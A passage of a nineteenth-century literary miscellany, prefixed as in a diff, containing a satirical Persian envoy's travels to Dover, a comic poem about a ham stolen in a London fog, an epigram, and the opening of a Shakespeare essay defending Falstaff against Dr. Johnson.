+was the endurance of every thing rather than to give power to the true
+believers, I allowed them to enjoy it without further molestation.
+
+After many adventures,--such as robberies by Bulgars, an escape from
+shipwreck on the Danube, dislocation of bones in little carts in
+Wallachia, incarceration within four bare walls at the Austrian frontier
+on pretence of our being unclean men, contamination from pork and wine
+among the Majars, and disordered patience brought about by phlegmatic,
+smoking, slow-driving, ya! ya! post-boys in Germany,--we reached Vienna.
+It was a day upon which I frequently exclaimed "_Ilham dulillah!_" the
+day when I first saw the lofty spire of the great infidel church of that
+city; for I was tired of everything: tired of my companions, tired of my
+eternal hot seat in the corner of a coach, and longed to have a place to
+myself where I might bless and curse at my pleasure whomsoever I should
+like so to do.
+
+My first care upon arriving here, was to inquire about the object of my
+mission,--the state of England. Wherever I went, I heard with a chuckle
+that she had had her day, that she was going down fast, that too much
+prosperity was daily destroying her; and every one added, with a sneer,
+"Ah, they thought themselves the wisest of the sons of the earth; but
+see! they are its greatest fools, for they do not know how to keep
+what they have got." One of the great proofs which I continually heard
+brought forward of the decay of her power and wealth, was the failure of
+an enterprise which to me was inexplicable, but which, every one said,
+in her better days would never have been abandoned. What I could make
+out of the story was this:--It seems the Ingliz, in their madness, were
+tired of going over their river in the common way,--that is, by bridges;
+and so they determined to try a new way,--that is, to go under it.
+Madness seized them; money poured in; they dug into the bowels of the
+earth like moles; the workmen heard the river flowing over them,--still
+they feared not, but dug on; at length it broke in upon them,--still
+they cared not; they were drowned,--still they dug. All the world was
+alive about it; everybody thought of the pleasure of cheating the old
+bridges, and the nation seemed charmed that they had found a totally
+novel mode of getting from one side of a river to another, without going
+over it, when, all at once, symptoms of decay broke out. They had got
+halfway when the work stopped; and the whole population, putting the
+finger of astonishment into the mouth of disappointment, went home,
+and, stepping over their thresholds with their right legs instead of
+their left, waited for a return of good-luck--but it came not; their
+luck evidently has turned, and there is the half-finished hole to attest
+it. "Poor Ingliz!" thought I, when I heard this; "where are now my old
+friends the Hoggs, my moon-faced Bessy, and her infidel Figsby? Shall I
+find them again? perhaps they may have been lost, with many others, in
+the mad enterprise of digging this great hole under their river!"
+
+I left my Greeks at Vienna, and, taking a place in a moving caravan
+on wheels, called a diligence, but which went slower than one of
+our strings of camels, I travelled onwards through towns, cities,
+hamlets,--through forests, over rivers, over mountains peopled by
+various tribes of Francs, all indifferent about showing their women's
+faces, eating the unclean beast, drinking wine, shaving and washing
+just as they pleased: ignorant of the blessed Koran, and staring wide
+when such a country as Iran was mentioned to them. They all agreed in
+sneering at the Ingliz, and assuring me that I should find that nation
+upon their last legs, and their king with scarcely any power left him.
+
+At length we reached the country of the French Francs. Here I heard
+that they had got rid of two or three kings since those days when
+I was last near them; and that, after having sworn to maintain new
+governments as fast as they were made, were now tired of the last king
+they had created, and were in the full enjoyment of all the wretchedness
+naturally flowing from change. I was told that they had been increasing
+in wealth and respectability, until they lost their last king, when
+their prosperity fell, as if by magic. Now, no man was certain of the
+possession of his property even for a day; and every one was obliged by
+turns to arm himself cap-a-pie, to do his duty as a soldier, in order to
+secure public happiness at the point of the bayonet.
+
+We entered the happy city of Paris just at the moment when a large band
+of well-dressed soldiers were firing upon a mob, who were throwing
+large stones at them, and crying out, as the words were interpreted to
+us, "Liberty for ever!" "Down with the king!" This ceremony, we were
+assured, was performed about once a month. I asked my companions in the
+coach what they meant by liberty, but I found no one could give me any
+intelligible explanation; for it seems the French had all that they
+could possibly require, and that, if they wanted more, it must be to
+live without laws, without a king, without religion, and with a right to
+appropriate their neighbour's goods, or cut their neighbour's throat.
+
+I trembled from head to foot all the time that I lived in this happy
+city, fearful of never being able to get out of it with a whole skin;
+at length I made an effort, and, accompanied by Mahboob, I took places
+in a travelling coach, and reached the sea-side opposite to the coast
+of England. I was lucky to see with my own eyes that this country was
+yet in existence after the many accounts I had heard of its total
+destruction.
+
+
+                       CHAPTER VI.
+
+I crossed over from France to England, mounted upon a species of
+dragon spouting smoke and exhaling fire, to which the famous monster
+of Mazanderan, slain by Rustam the Valiant, was a mere plaything.
+But--shall I say it?--the awful sickness which seized me whilst
+performing this feat, so overpowered me, that it was impossible for
+me, the slave of the asylum of the universe, to put my instructions
+into execution, and to write down in a book all the wonders which in
+part came to my understanding on that auspicious day. I may confidently
+assert that no follower of the blessed Ali ever suffered so much in so
+short a time as I then did. I was first taken from my French bed before
+the day began to dawn, and put upon this English monster. As soon as
+its wings began to expand, and to move through the waters, an universal
+tremor assailed it, which communicated itself to me and all with me; and
+I continued to be well shaken until I reached the shores of England.
+Then I felt so giddy that I thought my head had got into the infernal
+regions, until I soon became certain that my stomach had followed it
+there also. There I lay groaning, making noises,--oh, such noises!--that
+if they could have been wafted to the ear of the king of kings,
+his heart would have smote him for having placed his slave in this
+predicament! When I was told that we were arrived, I soon was restored
+to myself, and hastened from the bowels of the monster to the light
+of heaven; and there, indeed, I saw a town, and a castle, and living
+men and women, and, truly, nothing indicating a ruined country and a
+desponding people. We landed at this place. It was called Dover; and
+as I was told, is famous for a recent controversy whether it should be
+spelt with an _o_ or an _e_ in the last syllable. From time immemorial
+it had possessed the _e_; but such was the spirit of change that they
+had now transformed it into the _o_, although the lovers of old customs
+and good order kept to the old sacred _e_. "When that spirit seizes a
+nation, who knows," thought I, "when changes begin, where they may end?"
+If we were to hearken to all our enlightened sofis in Persia, they would
+expunge many sayings in our blessed Koran; and, as we have not a second
+prophet to direct us, one man's change would be as good as another's.
+Bit by bit all would be upset; we should not have a law left for our
+direction, and we should finish by cutting each other's throats in order
+to settle which was the best way to live.
+
+I thought, however, that I could discover some symptoms of beggary in
+the state of the country, by what happened when I was first setting foot
+on the infidel shore. Two scrutinising-looking Francs stood on each side
+of a board over which I was to walk on stepping from the boat to land;
+and when I ventured to do so, they stopped me, passed their hands over
+the protuberances of my person, and were about to seize a cashmere shawl
+which I wore round my waist, when I exclaimed, "The dogs are eating
+dirt!" which brought some of my friends on board the packet to my help.
+Explanations were made, and I was let pass. These were officers of
+customs. "But," thought I, "is it possible that this great nation can be
+brought to such a state of want that it permits its officers to rob a
+poor stranger!" I was told of odd things. It was hinted to me, that the
+burnt father's whelps looked mightily hard at my beard, and that they
+had hinted that, by rights, I ought to pay duty for it, as foreign hair.
+
+Having landed, with Mahboob close at my heels, we were almost crushed to
+death by a mob of ruffians, who took violent possession of our persons,
+one pulling us one way, the other the other, roaring the oddest words by
+way of congratulations on first landing, which to this day I have not
+made out. "The Ship!" bawled one; "York!" cried another; "Red Lion!"
+said the next; "Blue Posts!" said the next. "_Be Jehanum!_" roared I;
+and, at length, by dint of main force, I was rescued by my friend in the
+packet, and taken safe into a caravanserai that stood by the sea-shore.
+Here, indeed, the kindness shown me by many men and women,--the bows,
+the dips, the smiles, the sugared words which were lavished upon me,
+made up in part for the rude sort of reception which I had hitherto
+experienced, and the sunshine of satisfaction dawned over my heart.
+But still a doubt hung about my mind; and I asked myself how it was
+possible that I should all at once have become such an object of tender
+interest and affection to a set of infidels who had never seen me
+before,--who probably did not know whether Iran was situated above the
+surface of the heavens, or within the bowels of the earth,--who perhaps
+had never heard of the name of our asylum of the universe, nor even of
+our blessed prophet? I then reflected upon what had happened to us when
+we had landed before, in England, and recollected that, at the end of
+all things, there came a certain little odd-looking bit of paper which
+the infidels called "bill," by virtue of which all their civilities, all
+their kindness, all their apparent hospitality were condensed into two
+or three crooked cyphers, and then converted into sums of gold, whether
+the stranger was agreeable, or not agreeable, to the transformation.
+I quite streamed from every pore as I thought upon that moment of my
+retribution, for my wits were my principal stock in hand; money being
+little, and, I feared, credit less. However, as long as the civility
+lasted, I was delighted, and I made as free a use of the caravanserai as
+if it had been the Shah's Gate.
+
+I never lost sight of the object of my mission. I was delighted to have
+landed without having excited a suspicion of the nature of my character;
+and, as England is the head-quarters for curious men,--for, owing to
+her vast foreign possessions, she imports them from all parts,--no
+one thought it strange that two men with beards, with sheep-skin caps
+on, and mounted on high-heeled green slippers, should arrive amongst
+them to take a walk through their country. I was charmed, too, to have
+created an interest in the breast of an infidel Englishman who had been
+my fellow-passenger on board the packet. He was a low, rotund man, of
+evident discretion in speech, the master of moderation, and the lord of
+few words. There was no display in his dress, for he buttoned himself
+up tight in his broadcloth coat, exhibited no chains, and contented
+himself with a rough stick with a hook to it. I found that he had
+been in India,--where many English have been; and, when I could not
+understand all he said to me in his own language, I was glad to find he
+could explain himself fully by the help of some score of indifferent
+Persian words. He had helped me out of the dilemma with the custom-house
+officers, had rescued me out of the fangs of the complimentary harpies,
+had installed me in the caravanserai; and had thus gained a claim upon
+my gratitude.
+
+I had occasionally asked him about the state of his country, but I had
+never been able to get more out of him than a shake of his head. From
+what I could discover from the exterior of things, certainly there was
+no indication of decay; and indeed, compared with what I had observed
+in the other countries of Europe, there seemed here to be an increased
+state of prosperity. It was evident that I had been everywhere hoaxed
+upon the declining state of England, and that envy alone had excited
+the report spread to her disadvantage. When we talk of ruin in Persia,
+we see it at once: villages without inhabitants, dry water-courses,
+abandoned caravanserais, ragged and wan-looking peasants, and tyrannical
+governors. But here I saw a flourishing town, happy people, new
+buildings, busy faces, and no appearance at all of governors. I remarked
+this to my infidel friend: still he wagged his head, and talked of
+things unknown to my understanding. The utmost I could draw from him
+was, that he did not like _chopping and changing_. When I had discovered
+the true meaning of these words I could not help saying to myself, "Our
+Shah has long enough tried '_chopping_,' without gaining prosperity, I
+wish he too would try _changing_; he might perhaps succeed better." I,
+however, for the present determined to keep my own counsel, and apply
+the opening draught of inquiry to the malady of ignorance as often as
+such relief came within my power.
+
+
+
+
+        [Greek: Scholazontos ascholia.]
+
+                 A LONDON FOG.
+
+    Who has not seen a London fog? I ween
+    All those who live there, often must have seen
+                This "darkness visible:"
+    For much I write not; but, for those who dwell
+    Where 'tis not known, an anecdote I'll tell
+                Both droll and risible.
+
+    'Twas on a day,--I'm not quite certain when,
+    For many such have been, and will again
+                Occur, I'll stake my life,--
+    A heavy fog took daylight out of sight;[91]
+    So thick it was, that I am sure you might
+                Have cut it with a knife.
+
+    You could not see your hand before your face.
+    E'en cabs and coaches knew not how to trace
+                Their way along the town;
+    But, on that day, through many a window flew,
+    To shopmen's horror! On the pavements, too,
+                Folks ran each other down.
+
+    Imagine, now, a pork-shop--I don't know
+    Quite _where_; but _there_, in many a tempting row,
+                Most pleasing to the sight,
+    Hung pork and hams, inside, and at the door
+    Outside; "'twas _grease_, but living _grease_ no more."
+                (Byron is my delight.)
+
+    Behind the counter, mute and anxious, sat
+    The owner of these goodly things; and at
+                Them first, and then the door,
+    He look'd alternate, for no one that day
+    Had call'd to buy; the fog kept folks away.
+                He thought the fog a bore!
+
+    Long had he sat in expectation vain;
+    "He sigh'd and look'd, and sigh'd and look'd again,"
+                Yet no one came to buy!
+    The day was spent, he rose to shut his shop:
+    Just at that moment he was led to stop,--
+                A person caught his eye.
+
+    "A customer at last!" the porkman thought;
+    Fancied some pork or hams already bought,
+                And bow'd, "Your servant, ma'am!
+    "Bad walking out o' doors to-day," quoth he.
+    (This could not be gainsaid at all.) Said she,
+                "Do you see there here ham?"
+
+    Now, though the fog as dark enough _without_,
+    _Inside_ 'twas clear: the porkman had no doubt,
+                His ham he saw and knew:
+    He could not make the question out; no more
+    Could fancy why she kept so near the door,
+                But said, "Of _course_ I do."
+
+    She, with a grin facetious, said, "Well, then,
+    I'm blow'd if you will ever see't again;"
+                And ran away outright.
+    The porkman hurried quickly to the door,
+    Too late, alas! to see; for, long before,
+                His ham was out of sight!
+                                             T. G. G.
+
+[91] "Eripiunt subito nubes coelumque diemque."--Virg. Æn. i. v. 88.
+
+
+
+
+              EPIGRAM.
+
+    You ask me, Roger, what I gain
+    By living on a barren plain:--
+    This credit to the spot is due,
+    I live there without seeing you.
+
+
+
+
+            SHAKSPEARE PAPERS.--No. I.
+
+               SIR JOHN FALSTAFF.
+
+    "For those who read aright are well aware
+      That Jaques, sighing in the forest green,
+    Oft on his heart felt less the load of care
+      Than Falstaff, revelling his rough mates between."
+                                            _MS. penes me._
+
+
+"Jack Falstaff to my familiars!"--By that name, therefore, must he
+be known by all persons, for all are now the familiars of Falstaff.
+The title of "Sir John Falstaff to all Europe" is but secondary and
+parochial. He has long since far exceeded the limit by which he bounded
+the knowledge of his knighthood; and in wide-spreading territories,
+which in the day of his creation were untrodden by human foot, and in
+teeming realms where the very name of England was then unheard of,
+Jack Falstaff is known as familiarly as he was to the wonderful court
+of princes, beggars, judges, swindlers, heroes, bullies, gentlemen,
+scoundrels, justices, thieves, knights, tapsters, and the rest whom he
+drew about him.
+
+It is indeed _his_ court. He is lord paramount, the _suzerain_ to
+whom all pay homage. Prince Hal may delude himself into the notion
+that he, the heir of England, with all the swelling emotions of soul
+that rendered him afterwards the conqueror of France, makes a butt of
+the ton of man that is his companion. The parts are exactly reversed.
+In the peculiar circle in which they live, the prince is the butt of
+the knight. He knows it not,--he would repel it with scorn if it were
+asserted; but it is nevertheless the fact that he is subdued. He calls
+the course of life which he leads, the unyoked humour of his idleness;
+but he mistakes. In all the paths where his journey lies with Falstaff,
+it is the hard-yoked servitude of his obedience. In the soliloquies put
+into his mouth he continually pleads that his present conduct is but
+that of the moment, that he is ashamed of his daily career, and that
+the time is ere long to come which will show him different from what he
+seems. As the dramatic character of Henry V. was conceived and executed
+by a man who knew how genius in any department of human intellect would
+work,--to say nothing of the fact that Shakspeare wrote with the whole
+of the prince's career before him,--we may consider this subjugation
+to Falstaff as intended to represent the transition state from spoiled
+youth to energetic manhood. It is useless to look for minute traces of
+the historical Henry in these dramas. Tradition and the chronicles had
+handed him down to Shakspeare's time as a prince dissipated in youth,
+and freely sharing in the rough debaucheries of the metropolis. The same
+vigour "that did affright the air at Agincourt" must have marked his
+conduct and bearing in any tumult in which he happened to be engaged.
+I do not know on what credible authority the story of his having given
+Gascoigne a box on the ear for committing one of his friends to prison
+may rest, and shall not at present take the trouble of inquiring. It
+is highly probable that the chief justice amply deserved the cuffing,
+and I shall always assume the liberty of doubting that he committed
+the prince. That, like a "sensible lord," he should have hastened to
+accept any apology which should have relieved him from a collision
+with the ruling powers at court, I have no doubt at all, from a long
+consideration of the conduct and history of chief justices in general.
+
+More diligent searchers into the facts of that obscure time have
+seen reason to disbelieve the stories of any serious dissipations of
+Henry. Engaged as he was from his earliest youth in affairs of great
+importance, and with a mind trained to the prospect of powerfully
+acting in the most serious questions that could agitate his time,--a
+disputed succession, a rising hostility to the church, divided
+nobility, turbulent commons, an internecine war with France impossible
+of avoidance, a web of European diplomacy just then beginning to
+develope itself, in consequence of the spreading use of the pen and
+inkhorn so pathetically deplored by Jack Cade, and forerunning the
+felonious invention, "contrary to the king's crown and dignity," of
+the printing-press, denounced with no regard to chronology by that
+illustrious agitator;--in these circumstances, the heir of the house of
+Lancaster, the antagonist of the Lollards,--a matter of accident in his
+case, though contrary to the general principles of his family,--and at
+the same time suspected by the churchmen of dangerous designs against
+their property,--the pretender on dubious title, but not at the period
+appearing so decidedly defective as it seems in ours, to the throne of
+France,--the aspirant to be arbiter or master of all that he knew of
+Europe,--could not have wasted all his youth in riotous living. In fact,
+his historical character is stern and severe; but with that we have
+here nothing to do. It is not the Henry of battles, and treaties, and
+charters, and commissions, and parliaments, we are now dealing with;--we
+look to the Henry of Shakespeare.
+
+That Henry, I repeat, is subject and vassal of Falstaff. He is bound
+by the necromancy of genius to the "white-bearded Satan," who he feels
+is leading him to perdition. It is in vain that he thinks it utterly
+unfitting that he should engage in such an enterprise as the robbery
+at Gadshill; for, in spite of all protestations to the contrary, he
+joins the expedition merely to see how his master will get through his
+difficulty. He struggles hard, but to no purpose. Go he must, and he
+goes accordingly. A sense of decorum keeps him from participating in the
+actual robbery; but he stand close by, that his resistless sword may aid
+the dubious valour of his master's associates. Joining with Poins in the
+jest of scattering them and seizing their booty, not only is no harm
+done to Falstaff, but a sense of remorse seizes on the prince for the
+almost treasonable deed--
+
+                  "Falstaff sweats to death,
+    And lards the lean earth as he walks along;
+    Wer't not for laughing, _I should pity him_."
+
+At their next meeting, after detecting and exposing the stories related
+by the knight, how different is the result form what had been predicted
+by Poins when laying the plot! "The virtue of this jest will be, the
+incomprehensible lies that this same fat rogue will tell us when we meet
+at supper: how thirty, at least, he fought with; what wards, what blows,
+what extremities he endured; and in the reproof of this lies the jest."
+Reproof indeed! All is detected and confessed. Does Poins _reprove_
+him, interpret the word as we will? Poins indeed! That were _lèze
+majesté_. Does the prince? Why, he tries a jest, but it breaks down;
+and Falstaff victoriously orders sack and merriment with an accent of
+command not to be disputed. In a moment after he is selected to meet Sir
+John Bracy, sent special with the villainous news of the insurrection of
+the Percies; and in another moment he is seated on his joint-stool, the
+mimic King of England, lecturing with a mixture of jest and earnest the
+real Prince of Wales.
+
+Equally inevitable is the necessity of screening the master from
+the consequence of his delinquencies, even at the expense of a very
+close approximation to saying the thing that is not; and impossible
+does Hal find it not to stand rebuked when the conclusion of his joke
+of taking the tavern-bills from the sleeper behind the arras is the
+enforced confession of being a pickpocket. Before the austere king his
+father, John his sober-blooded brother, and other persons of gravity or
+consideration, if Falstaff be in presence, the prince is constrained
+by his star to act in defence and protection of the knight. Conscious
+of the carelessness and corruption which mark all the acts of his
+guide, philosopher, and friend, it is yet impossible that he should not
+recommend him to a command in a civil war which jeopardied the very
+existence of his dynasty. In the heat of the battle and the exultation
+of victory he is obliged to yield to the fraud that represents Falstaff
+as the actual slayer of Hotspur. Prince John quietly remarks, that the
+tale of Falstaff is the strangest that he ever heard: his brother, who
+has won the victory, is content with saying that he who has told it is
+the strangest of fellows. Does he betray the cheat? Certainly not,--it
+would have been an act of disobedience; but in privy council he suggests
+to _his_ prince in a whisper,
+
+    "Come, bring your luggage [the body of Hotspur] _nobly_--"
+
+nobly--as becomes your rank in _our_ court, so as to do the whole of
+your followers, myself included, honour by the appearance of their
+master--
+
+    "Come, bring your luggage nobly on your back:
+    For my part, if a lie may do thee grace,
+    I'll gild it with the happiest terms I have."
+
+Tribute, this, from the future Henry V.! Deeper tribute, however, is
+paid in the scene in which state necessity induces the renunciation
+of the fellow with the great belly who had misled him. Poins had
+prepared us for the issue. The prince had been grossly abused in the
+reputable hostelrie of the Boar's Head while he was thought to be out
+of hearing. When he comes forward with the intention of rebuking the
+impertinence, Poins, well knowing the command to which he was destined
+to submit, exclaims, "My lord, he will drive you out of your revenge,
+and turn all to merriment, if you take not the heat." Vain caution! The
+scene, again, ends by the total forgetfulness of Falstaff's offence,
+and his being sent for to court. When, therefore, the time had come
+that considerations of the highest importance required that Henry
+should assume a more dignified character, and shake off his dissolute
+companions, his own experience and the caution of Poins instruct him
+that if the thing be not done on the heat,--if the old master-spirit
+be allowed one moment's ground of vantage,--the game is up, the good
+resolutions dissipated into thin air, the grave rebuke turned all into
+laughter, and thoughts of anger or prudence put to flight by the
+restored supremacy of Falstaff. Unabashed and unterrified he has heard
+the severe rebuke of the king--"I know thee not, old man," &c. until an
+opportunity offers for a repartee:
+
+              "Know, the grave doth gape
+    For thee thrice wider than for other men."
+
+Some joke on the oft-repeated theme of his unwieldy figure was twinkling
+in Falstaff's eye, and ready to leap from his tongue. The king saw his
+danger: had he allowed a word, he was undone. Hastily, therefore, does
+he check that word;
+
+    "Reply not to me with a fool-born jest;"
+
+forbidding, by an act of eager authority,--what he must also have felt
+to be an act of self-control,--the outpouring of those magic sounds
+which, if uttered, would, instead of a prison becoming the lot of
+Falstaff, have conducted him to the coronation dinner, and established
+him as chief depositary of what in after days was known by the name of
+backstairs influence.
+
+In this we find the real justification of what has generally been
+stigmatized as the harshness of Henry. Dr. Johnson, with some
+indignation, asks why should Falstaff be sent to the Fleet?--he had
+done nothing since the king's accession to deserve it. I answer, he
+was sent to the Fleet for the same reason that he was banished ten
+miles from court, on pain of death. Henry thought it necessary that
+the walls of a prison should separate him from the seducing influence
+of one than whom he knew many a better man, but none whom it was so
+hard to miss. He felt that he could not, in his speech of predetermined
+severity, pursue to the end the tone of harshness towards his old
+companion. He had the nerve to begin by rebuking him in angry terms as
+a surfeit-swelled, profane old man,--as one who, instead of employing
+in prayer the time which his hoary head indicated was not to be of long
+duration in this world, disgraced his declining years by assuming the
+unseemly occupations of fool and jester,--as one whom he had known in
+a dream, but had awakened to despise,--as one who, on the verge of the
+gaping grave, occupied himself in the pursuits of such low debauchery as
+excluded him from the society of those who had respect for themselves
+or their character. But he cannot so continue; and the last words he
+addresses to him whom he had intended to have cursed altogether, hold
+forth a promise of advancement, with an affectionate assurance that
+it will be such as is suitable to his "strength and qualities." If in
+public he could scarce master his speech, how could he hope in private
+to master his feelings? No. His only safety was in utter separation: it
+should be done, and he did it. He was emancipated by violent effort; did
+he never regret the ancient thraldom? Shakspeare is silent: but may we
+not imagine that he who sate crowned with the golden rigol of England,
+cast, amid all his splendours, many a sorrowful thought upon that old
+familiar face which he had sent to gaze upon the iron bars of the Fleet?
+
+As for the chief justice, he never appears in Falstaff's presence, save
+as a butt. His grave lordship has many solemn admonitions, nay, serious
+threats to deliver; but he departs laughed at and baffled. Coming to
+demand explanation of the affair at Gadshill, the conversation ends
+with his being asked for the loan of a thousand pounds. Interposing
+to procure payment of the debt to Dame Quickly, he is told that she
+goes about the town saying that her eldest son resembles him. Fang and
+Snare, his lordship's officers, are not treated with less respect,
+or shaken off with less ceremony. As for the other followers of the
+knight,--Pistol, Nym, Bardolph,--they are, by office, his obsequious
+dependents. But it is impossible that they could long hang about him
+without contracting, unknown even to themselves, other feelings than
+those arising from the mere advantages they derived from his service.
+Death is the test of all; and when that of Falstaff approaches, the
+dogged Nym reproaches the king for having run bad humours on the knight;
+and Pistol in swelling tone, breathing a sigh over his heart "fracted
+and corroborate," hastens to condole with him. Bardolph wishes that he
+was with him wheresoever he has gone, whether to heaven or hell: he has
+followed him all his life,--why not follow him in death? The last jest
+has been at his own expense; but what matters it now? In other times
+Bardolph could resent the everlasting merriment at the expense of his
+nose--he might wish it in the belly of the jester; but that's past. The
+dying knight compares a flea upon his follower's nose to a black soul
+burning in hell-fire; and no remonstrance is now made. "Let him joke
+as he likes," says and thinks Bardolph with a sigh, "the fuel is gone
+that maintained that fire. He never will supply it more; nor will it,
+in return, supply fuel for his wit. I wish that it could." And Quickly,
+whom he had for nine and twenty years robbed and cheated,--pardon
+me, I must retract the words,--from whom he had, for the space of a
+generation, levied tax and tribute as matter of right and due,--she
+hovers anxiously over his dying bed, and, with a pathos and a piety well
+befitting her calling, soothes his departing moments by the consolatory
+assurance, when she hears him uttering the unaccustomed appeal to God,
+that he had no necessity for yet troubling himself with thoughts to
+which he had been unused during the whole length of their acquaintance.
+Blame her not for leaving unperformed the duty of a chaplain: it was not
+her vocation. She consoled him as she could,--and the kindest of us can
+do no more.
+
+Of himself, the centre of the circle, I have, perhaps, delayed too long
+to speak; but the effect which he impresses upon all the visionary
+characters around, marks Shakspeare's idea that he was to make a
+similar impression on the real men to whom he was transmitting him.
+The temptation to represent the gross fat man upon the stage as a mere
+buffoon, and to turn the attention of the spectators to the corporal
+qualities and the practical jests of which he is the object, could
+hardly be resisted by the players; and the popular notion of the
+Falstaff of the stage is, that he is no better than an upper-class
+Scapin. A proper consideration, not merely of the character of his mind
+as displayed in the lavish abundance of ever ready wit, and the sound
+good sense of his searching observation, but of the position which he
+always held in society, should have freed the Falstaff of the cabinet
+from such an imputation. It has not generally done so. Nothing can be
+more false, nor, _pace tanti viri_, more unphilosophical, than Dr.
+Johnson's critique upon his character. According to him,
+
+"Falstaff is a character loaded with faults, and with those faults
+which naturally produce contempt. He is a thief and a glutton, a coward
+and a boaster, always ready to cheat the weak, and prey upon the poor;
+to terrify the timorous, and insult the defenceless. At once obsequious
+and malignant, he satirizes in their absence those whom he lives by
+flattering. He is familiar with the prince only as an agent of vice,
+but of this familiarity he is so proud, as not only to be supercilious
+and haughty with common men, but to think his interest of importance to
+the Duke of Lancaster. Yet the man thus corrupt, thus despicable, makes
+himself necessary to the prince that despises him, by the most pleasing
+of all qualities, perpetual gaiety; by an unfailing power of exciting
+laughter, which is the more freely indulged, as his wit is not of the
+splendid or ambitious kind, but consists in easy scapes and sallies
+of levity, which make sport, but raise no envy. It must be observed,
+that he is stained with no enormous or sanguinary crimes, so that his
+licentiousness is not so offensive but that it may be borne for his
+mirth.
+
+"The moral to be drawn from this representation is, that no man is
+more dangerous than he that, with a will to corrupt, hath the power to
+please; and that neither wit nor honesty ought to think themselves safe
+with such a companion, when they see Henry seduced by Falstaff."
+
+What can be cheaper than the venting of moral apophthegms such as that
+which concludes the critique? Shakspeare, who had no notion of copybook
+ethics, well knew that Falstaffs are not as plenty as blackberries, and
+that the moral to be drawn from the representation is no more than that
+great powers of wit will fascinate, whether they be joined or not to
+qualities commanding grave esteem. In the commentary I have just quoted,
+the Doctor was thinking of such companions as Savage; but the interval
+is wide and deep.
+
+How idle is the question as to the cowardice of Falstaff. Maurice
+Morgann wrote an essay to free his character from the allegation; and
+it became the subject of keen controversy. Deeply would the knight
+have derided the discussion. His retreat from before Prince Henry and
+Poins, and his imitating death when attacked by Douglas, are the points
+mainly dwelt upon by those who make him a coward. I shall not minutely
+go over what I conceive to be a silly dispute on both sides: but in the
+former case Shakspeare saves his honour by making him offer at least
+some resistance to two bold and vigorous men when abandoned by his
+companions; and, in the latter, what fitting antagonist was the fat and
+blown soldier of three-score for
+
+                        "That furious Scot,
+    The bloody Douglas, whose well-labouring sword
+    Had three times slain the appearance of the king?"
+
+He did no more than what Douglas himself did in the conclusion of the
+fight: overmatched, the renowned warrior
+
+    "'Gan vail his stomach, and did grace the shame
+    Of those that turned their backs; and, in his flight,
+    Stumbling in fear, was took."
+
+Why press cowardice on Falstaff more than upon Douglas? In an age when
+men of all ranks engaged in personal conflict, we find him chosen to a
+command in a slaughterous battle; he leads his men to posts of imminent
+peril; it is his sword which Henry wishes to borrow when about to engage
+Percy, and he refuses to lend it from its necessity to himself; he can
+jest coolly in the midst of danger; he is deemed worthy of employing
+the arm of Douglas at the time that Hotspur engages the prince; Sir
+John Coleville yields himself his prisoner; and, except in the jocular
+conversations among his own circle, no word is breathed that he has
+not performed, and is not ready to perform, the duties of a soldier.
+Even the attendant of the chief justice, with the assent of his hostile
+lordship, admits that he has done good service at Shrewsbury. All this,
+and much more, is urged in his behalf by Maurice Morgann; but it is far
+indeed from the root of the matter.
+
+Of his being a thief and a glutton I shall say a few words anon; but
+where does he cheat the weak or prey upon the poor,--where terrify the
+timorous or insult the defenceless,--where is he obsequious; where
+malignant,--where is he supercilious and haughty with common men,--where
+does he think his interest of importance to the Duke of Lancaster?
+Of this last charge I see nothing whatever in the play. The "Duke"
+of Lancaster[92] is a slip of the Doctor's pen. But Falstaff nowhere
+extends his patronage to Prince John; on the contrary, he asks from
+the prince the favour of his good report to the king, adding, when he
+is alone, that the sober-blooded boy did not love him. He is courteous
+of manner; but, so far from being obsequious, he assumes the command
+wherever he goes. He is jocularly satirical of speech; but he who has
+attached to him so many jesting companions for such a series of years,
+never could have been open to the reproach of malignity. If the sayings
+of Johnson himself about Goldsmith and Garrick, for example, were
+gathered, must he not have allowed them to be far more calculated to
+hurt their feelings than anything Falstaff ever said of Poins or Hal?
+and yet would he not recoil from the accusation of being actuated by
+malignant feelings towards men whom, in spite of wayward conversations,
+he honoured, admired, and loved?
+
+"Health and fair greeting from our general, The prince Lord John and
+Duke of Lancaster;"
+
+but it occurs nowhere else, and we must not place much reliance on the
+authenticity or the verbal accuracy of such verses. He was Prince John
+of Lancaster, and afterwards Duke of Bedford. The king was then, as the
+king is now, Duke of Lancaster.
+
+Let us consider for a moment who and what Falstaff was. If you put
+him back to the actual era in which his date is fixed, and judge him
+by the manners of that time; a knight of the days perhaps of Edward
+III.--at all events of Henry IV.--was a man not to be confounded with
+the knights spawned in our times. A knight then was not far from the
+rank of peer; and with peers, merely by the virtue of his knighthood,
+he habitually associated as their equal. Even if we judge of him by
+the repute of knights in the days when his character was written,--and
+in dealing with Shakspeare it is always safe to consider him as giving
+himself small trouble to depart from the manners which he saw around
+him,--the knights of Elizabeth were men of the highest class. The queen
+conferred the honour with much difficulty, and insisted that it should
+not be disgraced. Sir John Falstaff, if his mirth and wit inclined
+him to lead a reckless life, held no less rank in the society of the
+day than the Earl of Rochester in the time of Charles II. Henry IV.
+disapproves of his son's mixing with the loose revellers of the town;
+but admits Falstaff unreproved to his presence. When he is anxious to
+break the acquaintance, he makes no objection to the station of Sir
+John, but sends him with Prince John of Lancaster against the archbishop
+and the Earl of Northumberland. His objection is not that the knight,
+by his rank, is no fitting companion for a son of his own, but that he
+can better trust him with the steadier than the more mercurial of the
+brothers.
+
+We find by incidental notices that he was reared, when a boy, page to
+Thomas Mowbray, Duke of Norfolk, head of one of the greatest houses
+that ever was in England, and the personal antagonist of him who was
+afterwards Henry IV; that he was in his youth on familiar terms with
+John of Gaunt, the first man of the land after the death of his father
+and brother; and that, through all his life, he had been familiar with
+the lofty and distinguished. We can, therefore, conjecture what had
+been his youth and his manhood; we see what he actually is in declining
+age. In this, if I mistake not, will be found the true solution of the
+character; here is what the French call the _mot d'énigme_. Conscious
+of powers and talents far surpassing those of the ordinary run of men,
+he finds himself outstripped in the race. He must have seen many a man
+whom he utterly despised rising over his head to honours and emoluments.
+The very persons upon whom, it would appear to Doctor Johnson, he was
+intruding, were many of them his early companions,--many more his
+juniors at court. He might have attended his old patron, the duke, at
+Coventry, upon St. Lambert's day, when Richard II. flung down the warder
+amidst the greatest men of England. If he jested in the tilt-yard with
+John of Gaunt, could he feel that any material obstacle prevented him
+from mixing with those who composed the court of John of Gaunt's son?
+
+In fact, he is a dissipated man of rank, with a thousand times more wit
+than ever fell to the lot of all the men of rank in the world. But he
+has ill played his cards in life. He grumbles not at the advancement of
+men of his own order; but the bitter drop of his soul overflows when
+he remembers how he and that cheeseparing Shallow began the world, and
